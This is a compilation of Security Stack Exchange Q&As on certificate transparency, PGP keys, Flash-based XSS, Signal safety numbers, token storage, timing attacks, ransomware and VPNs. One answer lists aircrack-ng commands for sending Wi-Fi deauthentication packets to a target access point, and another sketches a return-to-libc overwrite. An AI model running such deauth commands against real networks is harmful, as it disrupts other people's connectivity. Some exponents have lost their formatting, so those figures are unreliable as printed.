Certificate Transparency: Log a legit precertificate and issue a rogue certificate I'm trying to understand how Certificate Transparency solves the problem with dishonest Certificate Authorities embedding an SCT in their certificates. I understand that the log is append-only, and server can "prove" that the certificate was indeed logged.

Suppose I'm a rogue CA, and I want to issue a certificate but also log it to a couple of logs. I create a certificate for a domain name that nobody cares about (say foobar.com), and submit the precertificate to the logs. I can then get the SCT back. I can then remove the poison extension, and add another domain name (say, paypal.com) to the SAN field, and then issue the certificate.

Is there any mechanism that prevents me from doing this? Anyone scanning CT logs will not see that I issued a certificate for paypal.com, but the browsers are supposed to trust the certificate and will also believe that I have submitted the certificate to the log.

The very objective of CT is to prevent CAs from issuing certificates for what it should not. I'm sure there are baseline requirements that prevents this and the CA would be removed from the trusted roots if they are caught doing this. But is there any cryptographically secure way to prevent this?

Guessing: Wouldn't work. Same thing when some CAs tried to use a nonstandard redaction scheme. -- Which is just a specific variant of submitting one cert while actually issuing another. This was dectected by browsers that actually bother to check. -> My site has Certificate Transparency enabled but Chrome is still showing NET::ERR_CERTIFICATE_TRANSPARENCY_REQUIRED
-- CT enforcement is up to the browser. And AFAIK only required by Chrome for Symantec certs. But the CT-everything requirement is on the horizon for Chrome for October 2017. See: https://groups.google.com/a/chromium.org/forum/m/#!topic/ct-policy/78N3SMcqUGw
Edit 1: What is CT good for?
You wrote:

The very objective of CT is to prevent CAs from issuing certificates for what it should not.

It's not. The objective is not prevention but accountability.
A CA can issue a cert for any domain anytime. That part is NOT changed by CT.
What is a game changer is that when a rogue cert is issued one of two things may happen:

If the CA doesn't submit to CT at all or submits with a different host name then (as soon as browsers actually enforce this) the browser will reject the cert. And the rogue cert will be useless.
If the CA does submit to CT with the right host name then the cert will be public. And a domain owner who cares may place an automated watch job for all his domain names on the CT logs. (Facebook offers a such a service for free.)

In their own words:

Certificate Transparency makes it possible to detect SSL certificates that have been mistakenly issued by a certificate authority or maliciously acquired from an otherwise unimpeachable certificate authority. It also makes it possible to identify certificate authorities that have gone rogue and are maliciously issuing certificates.


Securely publishing GPG keys This is probably a stupid question/vaguely defined, but I need to ask it anyway.

I want to put a public key for mail exchange on my website, such that even very powerful adversary with power to intercept and fiddle with traffic on both sides and DNS couldn't read e-mails mailed to me.

What I mean is that:

the adversary shouldn't be able to do a MITM attack - that means, showing the sender (not me) a false key, intercepting the mail, reading it, re-crypting it, and sending it to me, encrypted with my original key
the adversary shouldn't be able to do "reverse" MITM attack - that the sender signs the mail with his key, puts the signature there, but the adversary, when re-cyphering it, adds there a signature with his false key, and showing me the wrong one
DNS is just for DKIM

Also,

putting https on a webhosting is not secure too, because evil webhoster can fiddle with your files and serve the false keys to different IPs

So, the only solution that I see is to put the public key on your own server, that you control, with https.

So really, to just publish a public GPG key so you can be really sure any powerful adversary is not reading mails intended to you, you need to actually install your own hardware and software with HTTPS? That sounds a little exhausting, actually.

You are right that an adversary that could intercept all your traffic could put a system in place that would act as a MiTM between all your email recipients and yourself, creating a separate public/private keypair for each recipient and keeping you in the dark on it. There isn't any way you can defend against that totally.

Keep in mind that this would be very difficult to do, and if your attacker has the capacity to intercept and tamper with all your email in this way than you are in real trouble as they'll have plenty of other ways to discover what you are doing.

Public key encryption doesn't truly work unless both sides can trust that the public keys exchanged are authentic to the user, so simply putting your public key on your website isn't enough to ensure that trust, you need to use the public key infrastructure for that.


New PGP key: RSA/RSA or DSA/Elgamal? I wanted to create a new PGP key using GPG Keychain Access on my Mac. One of the options was to choose keytype:

RSA and RSA
DSA and Elgamal
RSA (Sign only)
DSA (Sign only)

I found this Superuser question, but it may be outdated. RSA keys seem to be less secure since it's known that the NSA infiltrated RSA and made their key generation algorithm weaker. I don't know if this has a significant influence for a 4096 bit RSA key. If I choose DSA I see that I can only use 3072 bit keys. It seems that DSA/Elgamal is less common, but messages about this date back to 2009 so is that still relevant?

What should I use?
What does it matter?

since it's known that the NSA infiltrated RSA and made their key generation algorithm weaker

If you know that, then you know wrong. You are confusing two things which have no relation whatsoever:

RSA, the asymmetric cryptographic algorithm.
Dual_EC_DRBG, a PRNG algorithm of poor quality and amenable to backdooring.

RSA can be used for asymmetric encryption and for digital signatures. A PRNG can do neither. A PRNG produces an endless stream of unpredictable bits; this is something that RSA does not do. The two things are really different.

Now what is the source of the confusion ? It is twofold:

An asymmetric cryptographic algorithm uses keys that must be randomly generated at some point; the key generation algorithm requires a stream of random bits to work over, normally supplied by a cryptographically strong PRNG (so potentially Dual_EC_DRBG, or just any other PRNG).
One software vendor who implemented Dual_EC_DRBG and supplied it to its customers was RSA Security. That company is called "RSA" because it was founded by Rivest, Shamir and Adleman, the three researchers that also invented the asymmetric algorithm RSA and named it that way for exactly the same reason. Basically, Rivest is called Rivest when he invents cryptographic algorithms, and he is still called Rivest when he founds companies. Anyway, they sold the company two decades ago.

The bottom-line is that RSA, the asymmetric algorithm, is in no way "backdoored". What can be backdoored is the PRNG used in a specific implementation of the key pair generation algorithm. But if you use Dual_EC_DRBG to generate an ElGamal key pair, then you are equally hosed. Therefore, existence of poor, weak PRNG is in no way a reason to prefer ElGamal over RSA.

(If we want to nitpick, it goes the other way round: the known backdoor in Dual_EC_DRBG is easier to leverage if Dual_EC_DRBG was used to produce an ElGamal key than a RSA key. But in all generality, if your key generation tool uses a deliberately weak PRNG, then you lose. Regardless of the type of key.)

What about key length ? By some freak chance, it so happens that RSA, DSA and ElGamal keys of similar size offer vaguely similar strength (this is pure luck since they rely on distinct kinds of mathematical objects). 1024-bit RSA/DSA/ElGamal keys currently evade our cryptanalytic abilities, but they seem to be within reach of Earth-based technology (if you spend a few hundred millions or billions of dollars in building a dedicated machine and don't mind if it takes 6 months to break a single key). 2048-bit RSA/DSA/ElGamal keys are waaaay beyond what can be done with foreseeable technology. Any key size beyond 2048 bits is the equivalent of buying a red sports car to woo girls.

For your specific case:

The "sign only" options will yield keys usable only for signatures, and not for, say, encrypted emails. If you want a key usage for encryption you will need to use one of the first two options.
In older times, RSA was patented (in the USA) so some implementations supported only DSA and ElGamal. Since the patent expired in 2000, any decent implementation of PGP can now handle it just fine.
DSA signatures are a tad shorter than RSA signatures; ElGamal-based key exchange will use a few more bytes than RSA-based key exchange. We are only talking about a few dozen bytes here; any optimization of that kind will be dwarfed by the loss incurred if you decide to use red oversized keys to assert your manhood.


Flash ignores Content-Type header, allowing XSS? I recently read that the Flash plugin ignores the Content-Type header in certain circumstances.  In particular, you can give Flash a URL, and the Flash plugin will happily fetch the content at that URL and load whatever it receives as a SWF file, with the permissions of the site that the content was loaded from — even if the response comes with a Content-Type: text/plain header (or any other Content-Type at all).  The Content-Type header can indicate that this is not a SWF file, and Flash will still load this as a Flash file.  The content that's loaded doesn't even have to be a valid SWF file; it just has to start with a valid SWF file, and the Flash plugin will ignore any additional cruft that follows.

The source for this claim: http://50.56.33.56/blog/?p=242

If this is true, this is not good.  It means that my site is vulnerable to XSS, if there is any page where the attacker can control the start of the page.  It means that my site can be vulnerable even if I carefully set the Content-Type header correctly everywhere.  It means that the standard defenses against XSS when serving user-uploaded content are not sufficient.

For instance, if you want to allow the user to upload an arbitrary text file and serve it to anyone who asks, a standard approach is to make sure to set Content-Type: text/plain on the response.  It's widely believed that this is sufficient to be secure.  If I understand this vulnerability correctly, this practice is not secure: a malicious user can upload a malicious text file containing the contents of a SWF file, and then cause it to be executed by the Flash plugin, creating the moral equivalent of a XSS vulnerability in the site.

This has me a bit gob-smacked.  Is it really true?  Does Flash really have this vulnerability?  Has Flash been patched to fix this?  Are there any mitigating factors?  Is there any clean server-side defense to prevent this kind of attack?

It means that the standard defenses against XSS when serving user-uploaded content are not sufficient.

The standard defence against XSS when serving user-uploaded content is to serve it from a different address (ideally different domain and IP address completely, but a subdomain stops some attacks at least). That is, you allow it to fall victim to XSS, but isolate it so that such a compromise doesn't hurt the main site.

  For instance, if you want to allow the user to upload an arbitrary text file and serve it to anyone who asks, a standard approach is to make sure to set Content-Type: text/plain on the response. It's widely believed that this is sufficient to be secure

A lot of things that are completely untrue are widely believed.

Content-Type/Content-Disposition was never a sufficient defence, in the face of type sniffing (from both the browser and plugins). text/plain is the worst possible case: because it was (inadvisably) included as a default Content-Type in Apache, most browsers will completely ignote that type in favour of sniffing magic words from the start of the file.

  Has Flash been patched to fix this?

No. Though there's a worse one with crossdomain.xml syntax being buried inside other filetypes and loaded through getPolicy() that has been mitigated somewhat.

  Are there any mitigating factors?

The kind of interaction allowed from Flash under its own variant of the Same Origin Policy doesn't necessarily allow you full scripting into the JS origin. But yeah, it's pretty bad.

Java and Silverlight have similar problems.


Why iterate 5200 times when computing Safety Numbers in Signal? Safety numbers in Signal are derived from a hash of the conversation's users public keys and their phone numbers. Safety number are used to ensure that the conversation was not MITM-ed.

When deriving safety numbers, SHA-512 iterated for 5200 times. According to the Signal safety blog, there were privacy issues re:phone numbers embedded in hashes. However this cannot be the reason, given the set of possible phone numbers is relatively small.

Comments in the source code:

  The higher the iteration count, the higher the security level:

  1024 ~ 109.7 bits
  1400 > 110 bits
  5200 > 112 bits

So: what is the reason for intentionally slowing down the Safety Numbers computation?

Bonus: how are roughly the security levels (1024 SHA-512 hashes ~ 109.7 bits) computed?

The comment isn't explained very well, but I believe I've determined the math behind it. The safety number is 60 base 10 digits, but it's created in two 30 digit halves: one based on your phone number and public key, and one based on the phone number and public key of the person you're talking to.

Assuming a high entropy value is converted into a 30 digit number without unnecessary loss of entropy, it will contain log2(1030) ≈ 99.66 bits of entropy, equating to 99.66 "bits of security" (meaning an attacker would have a 50% chance of matching that safety number after 299.66/2 = 298.66 hashes). Iterating many times increases the bits of security (since it increases the number of hash operations for each try the attacker makes):

log2(1030 × 1024) ≈ 109.66

log2(1030 × 1400) ≈ 110.11

log2(1030 × 5200) ≈ 112.00

This is for how many hashes an attacker would have to perform to match a specific security number, but if the attacker wanted to be able to read the messages you send them, they'd need to know the private key that matches the public key they used in the hash. Generating RSA keypairs is computationally expensive, but ECC is much faster. If the keypair generation is fast enough, it makes sense to iterate the hash to increase the lower bound of an attack on a safety number.


Is it possible to "deauth" wifi direct connections? I used a Samsung Galaxy s7 as a Wifi Direct device to another android device (I think a Moto G Play) and I was wondering whether aircrack-ng could deauthenticate/disrupt the connection between them.

I tried using airodump-ng to discover the connection but to no avail. Is there any way of using aircrack-ng to deauthenticate the connections or do I have to use another software to do so? Any software recommendation of any OS would be appreciated.

The wifi adapter I have is an Alfa AWUS036NH wireless adapter with the RT3070 chipset.

To send deauth packets first you need to bring your WiFi adapter in monitor mode.
I'm using DELL laptop (INSPIRON N5050) which supports monitor mode.

I've installed Kali Linux and below are the commands to send deauth packets to particular AP.

airmon-ng start wlan0
airodump-ng wlan0mon
airodump-ng -c 1 --bssid [target bssid] wlan0mon
aireplay-ng -0 0 -a [target bssid] wlan0mon

airmon-ng stop wlan0mon


Suspicious Skype IP connection I'm posting this three weeks after a malware and keylogger scare that happened through Skype, and my own negligence, which resulted in a fresh install of Windows 7.

Everything's running and clean, but after a couple of weeks of using Skype again and monitoring activity with TCPview, I noticed there were two IPs that were slowly but surely sending and receiving packets from Skype, while Skype was idle.

Closing one of the connections closed the other at nearly the same time, and they haven't shown up since. Looking up the two IP's (while ignoring the extensions) showed they were possibly coming from home networks with AT&T U-verse and CableOne from the DFW area and Southeast Arizona, respectively.

Should I be worried or suspicious about this? At first I wasn't, but then I remembered that Skype ditched the p2p setup back in July, so I have no clue why there'd be a connection like this.

It seems that these kinds of issues continue to plague Skype.

Best guesses seem to indicate bot scans or poor hygiene on Skype Adverts.

I would certainly suggest installing ad blocking on all of your browsers. I also install it on my router too.

If you haven't changed passwords on your Microsoft account recently, that couldn't hurt and you should certainly turn on two-factor authentication for the account.


Can demo exploits/attacks be run on desktop applications? Are there any applications/tools for exploiting desktop applications? (with pre-built exploits)

I'd like to test my Java desktop app for security.
I've looked at tools like Metasploit, but they seem to be geared towards entire networks.
It's a basic CRUD GUI application

Thanks

Are there any applications/tools for exploiting desktop applications? (with pre-built exploits)

Short answer : No

Details : What you ask is a program/tool which will automatically pentest your client Java application. At this date, it doesn't exists. A real and complete pentest needs some security skills and especially a nose for exploitation of vulnerabilities and divert the main usage of functionality available in the application.

I have no details of your application but you need to keep in mind the Top Ten OWASP during your development phase. Fix vulnerabilities after the end of development is more expensive that fix it during development.

This OWASP Cheat Sheet will help you to check and test your application.
This GitHub OWASP repo will be useful after you identify the angles of attack of your application.


Chrome: Found a crash, is it a security vulnerability? I have been able to make Google Chrome crash, and I was wondering if there are tools or heuristics to determine whether or not the crash is a security vulnerability.

How can I determine if a Chrome crash is also a security vulnerability?

I suggest reading Best way to triage crashes found via fuzzing, on Linux?, which describes exactly how to do a first-pass triage at assessing the likelihood that the crash is also a security problem.  Tools like !exploitable and Valgrind memcheck are your friend.

If it passes the first-level check, the next step is probably to report it to the Chrome folks and let them evaluate it in greater detail.


Saving Authentication Tokens to Third-Party Websites So Flickr allows you to authenticate users to your app via app_key and secret and returns an authentication token. I want to securely save that authentication token in my database, but also be able to reverse it so that the application can make authenticated calls for that user. I'm not sure what's the best way to do that or if that's what I should be doing at all? I want to persist that authentication token so that when a user logs back into my site, it'll already have the authentication token.

The quick answer is that storing the plaintext authorization tokens in a database is not a problem but there are some other aspects that are more critical in keeping the tokens (and use of them) safe.

Make sure the oauth_consumer_key (app key) and oauth_token (authorization token) are never sent to or stored at the clients side (the users browser, phone, etc.). This means that the requests to the Service provider (Flickr) must always be done from a server that has access to the database and then the data received from the Service provider data can be forwarded to the client. If you store the key and token at the users side, then they will be able to impersonate your application and access restricted data.

To secure the key and tokens during the request from your server to Flickr, do the request as a POST over HTTPS. This way an eavesdropper cannot get hands on your tokens while they are on their way to Flickr.

Secure your database, not by encrypting the tokens, but by making sure that any unauthorized access to the database is not possible. If your database gets compromised (eg. SQL injection, any other injection) then the earlier measures don't really have any effect. This is a good thing to do in general, and I'd advice it over you encrypting the tokens in the database.

Sources: OAUTH v1.0 and the Flickr authentication API.


Is it possible to construct a passively self-destructing message? Is it possible to construct a message that passively degrades over time without requiring an external factor to destroy it?

Things that are similar, but not what I mean:

A hard drive that degrades over time may become harder to read, but if you successfully copy the data from it to a more robust media, that data persists. Put another way, this is the media that degrades, not the message.
An executable that, when run, destroys all or part of itself. But if you can keep it from executing, it can't destroy itself. Here, it is not a passive trait that causes the message to destruct, nor is it unpreventable.

Instead, I mean to describe a message that goes from a readable to an unreadable state over a configurable period of time without any external intervention. For example, if I could encrypt a message using an unreproducible characteristic of a radioactive isotope, once that isotope had decayed past a point, it might not be possible to decrypt the original message. But that sounds like crazy science fiction. Are there any real scenarios where such a thing is possible?

Notes on "external"

I got a bit overexcited about this idea and abused the word "external". It doesn't matter if there are external factors involved; what I really just mean is

  Is it possible to create a real system where a message can be created with a TTL and no human power can prevent that message from becoming unreadable after the TTL?

The "isotope" concept is an example where the message itself still exists, but our ability to read it decays. I don't want to get into semantics discussions about "external", but what I really mean is that the decay is "unpreventable" (without magic or even more advanced sci-fi).

Edit: I added italicized notes to the bulleted list.

Let's dispense with the "if it can be copied" part first. I can start with a camera and work my way down from there. I can also enlist a sufficient number of monks, nevermind digital media.

You're on a track with radioactive decay. If you can arrange a sufficiently large key that is represented by a number of decaying radioisotopes and arrange that key with a error correcting code, then you would have a predictable loss of the key within a certain time window that's a function of losing N bits of data at a rate determined by the half-life of the radioactive media combined with the M bits of losable key.

This still leaves the idea that a partially decayed key provides a better place to start than a fully decayed key, but then we're back to math about the number of attempts to fix the errored key and that's a mathematical combination as well. Once the key is decayed such that half the bits are likely wrong after the error correctable size then your data would be guarded just as well as if an attacker had nothing.

Doing the time-related math for your selected radioactive material and EC code is an exercise for the reader.


Are GET parameters secure over https? Since GET parameters are passed in the url, how can they be secure from someone with access to network logs. He would be able to see what urls are accessed, even if he cannot see the request and response.

I ask because an api requires me to pass user data over https(their user's data ofc). The username and password are passed as http AUTH: user:pass@site.com/api/messages

HTTPS uses Transport Layer Security (TLS). The Transport layer is layer 4, so everything above this layer is encrypted, which means all of HTTP is encrypted.

By default on most HTTP servers, all GET parameters are logged to the access log.   The plaintext logging of authentication tokens is a vulnerability.  The Authentication HTTP header is not logged by default.


Is it possible to encrypt communications without an external server? For example, is it possible to connect to a web server that is HTTP-only, absolutely no support for HTTPS, however the client can still connect to the site without worries of MITM attacks, without an external server, or having anything unique on the web server?

It's hard to tell exactly what you're asking; you can send secret and safe messages, but not "standard sites". You can use end to end encryption without https. This is in the same way you can use E2E with postcards or radio broadcasts or pencil and paper using a simple tool I made

While i think PHP and JS can talk to each other (with prior co-operation) securely, you won't be able to serve a normal page using normal browser routines.

It would be possible to build a JS-enabled client that can safely shuttle data back and forth, like I used when I built nadachat.com. That uses a pubkey to ship a a session-only symmetric key. On top of such a system you could build authentication and a web-like user interface, but not use standard anything like links, images, etc.

It's going to be a lot of heavy-lifting on your part to implement such a system. The encryption part is pretty easy, it's making sure you're talking to the right server (authentication/verification) without a cert that's going to be harder. There are challenge-response routines than can handle that, but again, you're really going against the grain and risk rolling out a flawed implementation.

Don't roll your own crypto.


Protecting encrypted data in case of SQL injection Let's say there is a web application, with encrypted data.
e.g. a website where patients leave notes to their doctors.

A patient logs in, leave a note, that note is encrypted using symmetric encryption and inserted to the database, the user can still see his note if he ever comes back, the note is decrypted and he can see it. The doctor logs in, go to a patient's note and it gets decrypted and printed.

But the app is vulnerable to SQL injection. A hacker finds it, he opens an account in the web application and creates a dummy note. He then uses the SQL injection and copies someone elses encrypted note and paste it's content to his note (his row in the table). When he goes back to the application to view it, it is decrypted.

How can you prevent the hacker from viewing others encrypted notes?

If I understand your question correctly, your system uses the same key to encrypt and decrypt the message for both patient and doctor.

In which case your attack is theoretically possible assuming you could read another user's message and insert it into the DB as your own message.

Mitigation in terms of encryption against this would be a unique key per user or using public/private key pairs to encrypt the data with each user again having a unique key for additional security and limitation of damage in the event of a breach.

Other mechanisms would include appropriate defence against SQL injection by sanitising input and also a user verification system to ensure any registering user is a legitimate patient, this reduces the  pool of attackers but shouldn't be relied on alone.


How does ransomware get on people's computers? I've noticed increased frequency of ransomware questions around Stack Exchange. Some of the people I remotely know had their devices recently infected as well.

I'm starting to be concerned. When people ask me how to avoid viruses, I typically tell them things like not to download files from suspicious websites and attachments other than documents. But is it really correct of me to assume that people who become infected executed suspicious files on their computer?

This concern raises especially now when I see questions from people who became infected here on Stack Exchange - meaning technically aware people are obviously just as vulnerable.

How does the ransomware possibly get on their computers? What's a good way to prevent this from happening?

According to the IBM X-Force Threat Intelligence Quarterly Report, fourth quarter 2015, the primary sources of ransomware attack are unpatched vulnerabilities, drive-by infections, and spear-phishing emails:

Source: IBM X-Force
How to prevent ransomware attacks
User education
Educate your users not to download files from unknown contacts. Usually ransomware is sent in emails claiming pending invoices with Word documents. When you open the document, ransomware will get installed and start doing its job.
Scanning and filtering mail servers
Scan your mail servers to stop phishing attempts reaching intended recipients.
Backup data regularly
Make sure to back up your critical data regularly and secure them. This will help you avoid paying the ransom, and reduce recovery time.
Vulnerability? Patch critical software and OS right away
Patch your critical software like your browser, browser plugins, email clients and operating systems right after you get a notification. Did you know that the Panama Papers leak (2.6 TB of data) happened because of vulnerable web servers and mail servers?
Look at the ransomware growth in the last three years:

Source: McAfee Labs, 2015.


What is a reasonable expiry for user authentication certificates? This question is about a nearly decentralized P2P system with a centralized certificate authority where users can authenticate and receive a certificate on their public key and then can authenticate with peers using that certificate - independently from the certificate authority. In short, this is about morally equal to a "keep me logged in" checkbox that uses a cookie.

If the certificate gets stolen the user can be impersionated until the certificate expires, especially in a P2P system where certificates are nearly impossible to retract. This is an argument to make the expiry quite short, say an hour.

On the other hand we have the argument of dependency and performance. If the expiry is very long it reduces stress on the certificate authority, and it also reduces the impact when it is unavailable.

What is a reasonable expiry for such "logged in" certificates?

Real-life certificates have a neat concept called revocation. It is a way to propagate (in a secure way) the information that a given certificate, though apparently legit and kosher and with all the correct signatures, should not be trusted anymore. That's a kind of "oops" functionality. In X.509, this uses Certificate Revocation Lists and OCSP.

The underlying idea is that mishaps do happen occasionally, in particular stolen keys. Revocation is then a damage containment procedure, which is triggered when a problem of that kind is detected. The important property is that it is a manual procedure: it happens when humans decide it. So it has an inherent, unavoidable latency. Therefore, there is no need for revocation information to be "extremely fresh": CRL which are published, say, twice per day, will be enough, because it is illusory to expect a better reaction time to stolen keys.

Expiration can replace revocation if it is short enough. If certificates are short-lived, then revocation is not needed. How short is "short" ? By the reasoning above, revocation is not needed if the expiration time is shorter than the CRL publication interval that we would choose, if we had to publish CRL. By the reasoning above, 12 hours are short enough.

Therefore you may expire your authentication certificates after 12 hours. Since humans sleep at night, you cannot really expect key theft to be, on average, detected faster than that.


Best practices for sharing or managing passwords between teams Consider this scenario.

A small company with several small teams (2-3 members). Each team manages their own passwords for their systems. Now, in the case when the whole team perishes in an accident, what's the policy or best practices for sharing or managing passwords (from the company perspective) so that the company would still have access to the team's passwords?

The Best Practice for sharing passwords is DON'T!

Your don't make clear exactly what you are doing, but in general allocation of common resources should use permissions for every user, or class of user if you go that way. Every user should have their own password and permission set.

Corporate access works the same. Corporate has their own set of permissions and passwords.

While there are occasional reasons to share passwords, they are rare. Consider structuring your system to avoid password sharing.


How to get user and verify password so that the usernames are kept private? According to the OWASP guidelines:

  Authentication failure responses should not indicate which part of the authentication data was incorrect. For example, instead of "Invalid username" or "Invalid password", just use "Invalid username and/or password" for both. Error responses must be truly identical in both display and source code.

Let's say a naive implementation of this (in pseudo code) is as follows:

function authenticate(username, password):
    let hashed_password = get_user_from_model(username)

    if user is not found:
        return "Invalid username and/or password"

    if verify_bcrypt(password, hashed_password):
        return "Authenticated"
    else:
        return "Invalid username and/or password"

Assuming that the get_user_from_model function takes a neglible amount of time and the verify_bcrypt takes 400ms, an attacker may be able to deduce whether the function returned when the password was invalid or username was invalid using a timing attack. What would be the best practice in order to stop this? Is something like sleeping for a constant amount of time a good idea? How would this work across different systems that might take different amount of time to verify the hash?

The easiest option I can see here is to avoid immediately returning from the first branch of the code. Instead, continue forward with a bogus hashed_password value and still do the verification.

function authenticate(username, password):
    let user = get_user_from_model(username)
    let hashed_password = BCRYPT_HASH_FOR_MISSING_USERS

    if user is found:
        hashed_password = get_password(user)

    if verify_bcrypt(password, hashed_password) and user is found:
        return "Authenticated"
    else:
        return "Invalid username and/or password"

This way you always do the same steps - you would do a roundtrip to the storage to fetch the user information and do the hashing as well. Only the verification against a non-existent user would always fail.


Is there a term for vulnerabilities the need 'help' from target vs vulnerabilities that can be exploited with no actions from the target? I'm making a guideline for a bug bounty program and want to distinguish between bugs that require some kind of action on the target's behalf (eg clicking a suspicious link), vs vulnerabilities that can be exploited without any actions from the user (eg, SQL injection that gives you users' credentials).
I don't necessarily mean phishing, just any vulnerability depending on action from the user rather than one that can be done 'cold', if that makes sense.
Does such terminology already exist?

I would describe such vulnerability as needing user interaction.
This is also the term used by CVSS to describe it,


Is DKIM needed for emails encrypted with OpenPGP? DKIM seems to prove that a message came from where it claims to be from. However, OpenPGP encrypts the entire email and signs it which obviously proves it also came from the person it says it did.

Other than dumb systems liking DKIM just because they're built to use it to help stop spam - is there any reason to use it with OpenPGP from a security point of view?

DKIM and OpenPGP are orthogonal. DKIM proves that a given email really came from the mail server which is specified in one of the Received: headers of the mail. It does not give any guarantee as to the actual human sender; DKIM focuses on the path which the email took. DKIM could be a great tool against some classes of spam, in that mail servers could bo configured to reject all emails which pretend to come from a given domain but do not sport a valid signature proving that they did go through the domain outgoing server (this can thwart domain impersonating spams).

OpenPGP (for signed messages), on the other hand, does not care at all about what servers a given email went through. OpenPGP signatures are about validating the human sender. OpenPGP does nothing against spam. OpenPGP can also add encryption, for data confidentiality, something which DKIM does not offer at all.

Since OpenPGP and DKIM do not offer the same functionalities, and neither does what the other offers, then it can make sense to use both.


Have there been any instances of malware in custom ROMs for Android? Have there been any instances of malware or spyware packaged in custom ROMs, for example a malicious email app pre-installed that records your server IMAP username and password and forwards it to a 3rd part? Or part of the kernel that takes periodic photos? With regard to custom ROMs, I mean official and unofficial releases such as Cyanogenmod, AOKP, LiquidSmooth, etc.

Not in any of the popular ones as far as I've heard. But you're free to build one yourself, which would then mean that it has happened.


How to determine and control extent of data passing through VPN connection? I need to connect to a VPN to work remotely on certain tasks. While working on a remote network through a VPN connection, I may also want other network connections to not go through the VPN. For example, let's say I'm editing a remote file through a VPN connection, and I also want to stream music while doing so but I don't want the music stream to go through the remote VPN connection. A more sensitive example would be if I have confidential data transfers happening while I'm connecting to a VPN that is for a separate set of confidential data transfers - how would I keep track of, separate, and monitor the two? Using a Virtual Machine, or by some other means?

Ultimately the question is: How can one determine and control the extent of data passing through a VPN connection?

I'd say please explain it like I'm five, but I know just enough to know it may be too much for a five year old...anyway, please answer as if to a novice.

VPNs have two main routing modes:

Full tunnel - All network traffic is routed through the VPN
Split tunnel - Network traffic for specific ranges is sent through the VPN, but general Internet traffic is not.

Many corporate VPNs operate in full tunnel mode to give their network team more control. For example, you can only browse the Internet through the corporate filtering proxy. Some VPN clients go to great lengths to enforce full tunnel mode, and some laptops are configured so there is no direct Internet access at all, and you have to connect to the VPN to do anything.

A simple way to investigate is to browse to whatsmyip.org and see whether this is your home or work IP address. Or you can use the "route" command to view the routing table. Look for the default route (0.0.0.0) - and see if the default gateway is your local router, or the VPN endpoint. You can also use network monitors (e.g. nettop on Linux; Windows Task Manager has a simple one) to monitor the amount of traffic going through the VPN. It's not so easy to monitor the non-VPN traffic, as the local interface traffic includes the encrypted VPN tunnel.

A common scenario is that your VPN if configured in full-tunnel mode, and you want split-tunnel. If you have control over the VPN software you can configure it to perform split tunnelling e.g. with OpenVPN look at the redirect-gateway configuration option. If your VPN client is locked down, then a good option is to run the VPN within a Virtual Machine. That VM will operate in full-tunnel mode, but network traffic from the host (or other VMs) will not.


ASCII Armoring in a little endian system With regard to the question: How does ASCII-Armoring help to prevent buffer-overflow attacks?:

How does the armored region prevent an attack?

If the most significant byte of the return address is 0x00 then the attacker may still change it because it is the last byte that she writes into the buffer.

For example: assume that libc:execve resides in 0x00b1ab1a, now having the option to override the ret of the function, the attacker can fill the last 4 bytes with 0x1a 0xab 0xb1 0x00 (i.e. where the NULL is the last byte) so the instruction pointer redirection is indeed damaged and goes to libc:execve.

Am I wrong?

If the most significant byte of the return address is 0x00 you can still redirect the execution to execve in your example but you can't specify any arguments because they have to be after the address of execve. But this is impossible if the overwrite stops at 0x00. So the power of an attacker is very limited.


How did the spammers get this address? A few months ago I configured a test mail server on Amazon AWS, all legit. I used a new address to my catchall-domain (something similar to, but not exactly, test-config-aws-neptune-2014-08@my-domain.com).

I've now started getting spam mail to that very address. It is highly unlikely that a spammer would have 'guessed' that address. How might the spammer have gotten that address?

Note that I used the standard Ubuntu Server 12.04 LTS virtual machine as provided by Amazon. The server was on a special testing Security Group (like a hardware firewall in Amazon Web Services) which allows world access to ports 25 (legacy SMTP), 80, 443, 465 (SSL SMTP), and 587 (SMTP) but no others. Specifically, ports 22 (SSH), 993 (SSL IMAP) and everything else is accessible only from the IP address of our office.

Additionally, the computer used to send and receive from the test server is a Kubunu Linux machine, thus I doubt that the machine itself was infected with malware. All mail was sent and received in Thunderbird, so a compromised browser plugin also seems unlikely.

I suppose that the mail might have been intercepted in transit. Though most of the testing was done over SSL, there were at least two emails downloaded over IMAP on port 143 without SSL. Is this the most likely attack surface? Am I disregarding other potential attack surfaces?

EDIT: Adding some information to answer comments.

The server (actually virtual machine running in Amazon's cloud AWS) was created, tested, and decommissioned all in a single workday, from images (virtual appliances) from Amazon. I find it highly unlikely that the server image was compromised as I use the same image on other servers, and it happens to be one of the most common Amazon server images (Ubuntu Server 12.04 64-bit).
The email address was never exposed via Apache. In fact, I don't remember even having installed Apache on the box, though it is possible that I did. In any case, I certainly did not perform any Apache configuration such as setting the email address for "contact admin".
The only email sent via the machine were a few test emails to the account in question from my regular email account in Thunderbird, and a few replies to those emails (also done in Thunderbird). Mails were sent and received both via SSL-secured and unsecured connections (SMTP and IMAP).

If it is a catch-all address, they don't need the actual address.  The entire point of a catch-all e-mail address is that it catches all mail that would otherwise be undeliverable.  If you have thisIsMySuperSecretEmail@my-domain.com set as the catch-all, then if I sent an e-mail to bob@my-domain.com, you would get the message in the super secret mailbox unless there happened to be a bob e-mail account.

Catch-all addresses generally shouldn't be used as your primary mail address.  The point of catch-all addresses is to see if people are trying to get ahold of you by some other address (good for finding people trying to connect to dead accounts for example), however they are also always flooded by spammers who will routinely spam common e-mail addresses at any registered domain name.

If they are sending to that address specifically, it is possible that your mail server is disclosing the catch-all address in the way it responds to the servers that are attempting to send mail.


Is there a way to check the authenticity of a forwarded email? This question relates to an answer on Skeptics.SE. Read the comment where somebody wrote "Even if you forward someone the email you received, we can't be sure you didn't fake it." Is this statement true?

Let's say that Stack Exchange sent me an email and I have no reason to doubt the email is fake and not from Stack Exchange. I want to show my friend that I received an email from Stack Exchange, but cannot physically show him/her the email. If I forward the email to my friend, will he/she be able to independently verify that the email is indeed from Stack Exchange?

Equivalently, is the statement "If you forward someone the email you received, we can't be sure you didn't fake it." a true statement?

I know that there are questions on spoofed emails. This one is specifically asking about forwarded emails and checking whether or not they are spoofed.

My interest in this is not purely hypothetical (although the described situation is). If you are really interested, read the comments here.

For almost all mails one can not check if this is the original mail which was forwarded.

This can only be mostly done if the mail was cryptographically signed by using PGP or S/MIME and if this signature can be validated by the recipient. Even then this is not a full prove since the signature usually only includes the content of the mail and not the mail header.

One might also attempt to verify a DKIM signature contained in the forwarded mail. But, this is only proof that the mail was transported by a specific mail server and not that it was send by a specific user. Also it is not unlikely that the mail get invisible changed when forwarding it and thus the DKIM signature will no longer match.


